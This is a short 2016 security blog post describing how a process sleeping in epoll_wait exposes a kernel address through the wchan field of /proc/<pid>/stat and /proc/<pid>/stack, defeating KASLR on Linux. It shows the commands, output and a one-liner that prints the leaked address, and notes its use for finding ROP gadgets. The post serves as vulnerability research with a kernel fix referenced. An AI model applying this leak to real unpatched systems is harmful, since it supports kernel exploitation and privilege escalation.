Wednesday, January 27, 2016

EPOLL - process waiting for KASLR address leaking

Recently, most talked about one of  kernel vulnerabilities is a KASLR exposed vulnerability that allows us to defeat KERNEL address space randomization mitigation and we can take the KASLR address.

TIMELINE:

Linux KERNEL has a nice feature that wchan (wait channel) on 'proc' filesystem indicates where the process is sleeping.

Reference:

WCHAN wait channel. The address of an event on which a particular process is waiting. Abbreviation appears in output of ps command with -l option.

We can use /proc filesystem to read wchan value:

root@ubuntu:~# cat /proc/2401/wchan 
ep_poll

This wchan value was returned to me as function name. But we need to the virtual address of the kernel. Address of the virtual address can be obtained from 'stat' file: 

root@ubuntu:~# cat /proc/2401/stat 
2401 (epoll-example) S 2079 2401 1037 34816 2401 4202496 192 0 0 0 0 0 0 0 20 0 1 0 1599993 1826816 121 4294967295 134512640 134517128 3217578304 3217576436 3077821488 0 0 0 0 3223617913 0 0 17 0 0 0 0 0 0

This decimal value will tell us where the process code is waiting.
>>> hex(3223617913)
'0xc0248179'

Unlike other techniques (sleeping fork process) may be use linux kernel feature EPOLL events for process make sleep. 

epoll is a Linux kernel system call, a scalable I/O event notification mechanism, first introduced in Linux kernel 2.5.44.[1] It is meant to replace the older POSIX select(2) and poll(2) system calls, to achieve better performance in more demanding applications, where the number of watched file descriptors is large (unlike the older system calls, which operate in O(n) time,epoll operates in O(1) time[2]). epoll is similar to FreeBSD's kqueue, in that it operates on a configurable kernel object, exposed to user space as a file descriptor of its own.

We can use epoll_wait syscall for waiting process:
epoll_wait, epoll_pwait - wait for an I/O event on an epoll file descriptor
  /* The event loop */
  while (1)
    {
      int n, i;

      n = epoll_wait (efd, events, MAXEVENTS, -1); 


The epoll_wait() system call waits for events on the epoll(7) instance referred to by the file descriptor epfd. The memory area pointed to by events will contain the events that will be available for the caller.

root@ubuntu:~# cat /proc/2463/stack
[<c0248179>] ep_poll+0x119/0x200
[<c02482fa>] sys_epoll_wait+0x9a/0xb0

Since process was waiting state due to epoll_wait():

cat /proc/2463/wchan 
ep_poll




leak address:

root@ubuntu:~# printf "%016lx\n" $(cat /proc/2477/stat | cut -d' ' -f35)
00000000c0248179

Using such techniques can be easily obtain ROP gadgets.

References:
https://marcograss.github.io/security/linux/2016/01/24/exploiting-infoleak-linux-kaslr-bypass.html
http://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=b2f73922d119686323f14fbbe46587f863852328